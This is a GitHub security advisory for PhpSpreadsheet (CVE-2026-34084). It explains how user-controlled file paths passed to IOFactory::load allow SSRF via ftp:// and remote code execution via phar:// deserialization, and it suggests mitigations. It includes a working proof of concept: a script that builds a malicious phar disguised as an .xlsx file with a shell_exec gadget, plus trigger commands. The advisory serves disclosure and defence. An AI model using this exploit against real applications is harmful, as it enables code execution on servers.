GitHub Advisoryadvisory · Packagist

GHSA-q4q6-r8wh-5cgh PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled

CRITICAL Published 2026-04-29 Modified 2026-05-08 Official page ↗
Aliases
CVE-2026-34084
Ecosystem
Packagist
Packages
phpoffice/phpspreadsheet
Severity
Critical
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weaknesses
CWE-502, CWE-918
Reviewed
2026-04-29

Affected packages

• Packagist phpoffice/phpspreadsheet: >= 4.0.0, < 5.6.0 → fixed in 5.6.0 • Packagist phpoffice/phpspreadsheet: >= 3.3.0, < 3.10.4 → fixed in 3.10.4 • Packagist phpoffice/phpspreadsheet: >= 2.2.0, < 2.4.4 → fixed in 2.4.4 • Packagist phpoffice/phpspreadsheet: >= 2.0.0, < 2.1.15 → fixed in 2.1.15 • Packagist phpoffice/phpspreadsheet: < 1.30.3 → fixed in 1.30.3

Description

The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any php wrappers implementing `stat()`. The 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below. This results in a SSRF, at "best", and RCE at worse. This was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`). PoC To reproduce the vulnerable behavior, the following scripts were used: `php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library: ```ini phar.readonly=0 ``` `make_phar.php` to create the malicious file: ```php data = $d; } function __destruct() { shell_exec($this->data); } } $pop = new GadgetClass('touch /tmp/poc.txt'); $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->setStub(''); $phar->addFromString('whatever', 'dummy content'); $phar->setMetadata($pop); $phar->stopBuffering(); rename('exploit.phar', 'exploit.xlsx'); // optional echo "exploit.xlsx created \n"; ``` `test.php` showcases the unsafe pattern: ```php data = $d; } function __destruct() { shell_exec($this->data); } } $filename = $argv[1] ?? null; if (!$filename) { echo "Usage: php test.php \n"; echo " e.g. php test.php phar://exploit.xlsx/whatever\n"; exit(1); } echo "Calling IOFactory::load('" . $filename . "')\n"; try { $spreadsheet = IOFactory::load($filename); var_dump($spreadsheet); } catch (Throwable $e) { echo "Vuln has still triggered even if exception triggers.\n"; } ``` RCE Run the PoC (for RCE): ```bash php -c php.ini make_phar.php && php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txt ``` The file `/tmp/poc.txt` should now be present on disk. > Note: the vuln still triggers if the file pointed to inside the phar does not exist/is not supported (html, xlsx, etc...). This means an attacker could "silently" trigger the vuln without leaving any error logs if the file inside the phar exists and is supported instead. SSRF Run the PoC (for SSRF): ```bash ncat -lvp 21 #run on another terminal php test.php ftp://127.0.0.1:21/test ``` Observe a connection is made to `127.0.0.1` on port `21`. Root Cause Analysis Following the API exposed by the library, using `IOFactory::load`, the code proceeds as follows: ```php IOFactory::load($filename) -> IReader::load($filename, $flags) -> IReader::loadSpreadsheetFromFile($filename) -> File::assertFile($filename, ...) -> is_file($filename); ``` The one obvious gadget that was found is guarded via `__unserialize` (or `__wakeup` in older versions) in the `XMLWriter` class, making it not possible to use the phar deserialization as a standalone attack vector using just this library - it is still viable to create "POP" gadget chains via other classes which may be available in real-world deployment scenarios. ```php public function __destruct() { // Unlink temporary files // There is nothing reasonable to do if unlink fails. if ($this->tempFileName != '') { @unlink($this->tempFileName); } } /** @param mixed[] $data */ public function __unserialize(array $data): void { $this->tempFileName = ''; throw new SpreadsheetException('Unserialize not permitted'); } ``` Phpspreadsheet is used as a backbone for many library wrappers, including very widespread ones from packagist like `maatwebsite/excel` for Laravel, `sonata-project/exporter` and so on, hence the deserialization vector stays relevant in other contexts. Suggested mitigations Use `is_file` only after making sure the filename does not contain any php wrapper: ```php $scheme = parse_url($filename, PHP_URL_SCHEME); // strlen check > 1 to avoid issues with Windows absolute paths (e.g. C:\...), Windows quirks :) // since no built-in or commonly registered PHP stream wrapper uses a single-character scheme, this should be ok, to my knowledge if ($scheme !== null && strlen($scheme) > 1) { throw new \PhpOffice\PhpSpreadsheet\Exception( "Stream wrappers are not permitted as file paths: {$filename}" ); } ``` or perhaps even just passing it to `realpath` before calling `is_file` to ensure it is parsed correctly: ```php $real = realpath($filename); // not php wrapper aware AFAIK if ($real === false) { throw new \PhpOffice\PhpSpreadsheet\Exception("Invalid file path: {$filename}"); } // from here on, $real should be a clean absolute path so we can pass it to is_file() if (!is_file($real)) { throw new ... } ``` > Note: `stream_is_local()` would also not be safe here — as it considers `phar://` to be local and would not block it.

Related

Alias · CVE (1)

  • CVE-2026-34084 PhpSpreadsheet is a library for reading and writing spreadsheet files. vulnerability

Weakness · CWE (2)

  • CWE-502 Deserialization of Untrusted Data weakness
  • CWE-918 Server-Side Request Forgery weakness

References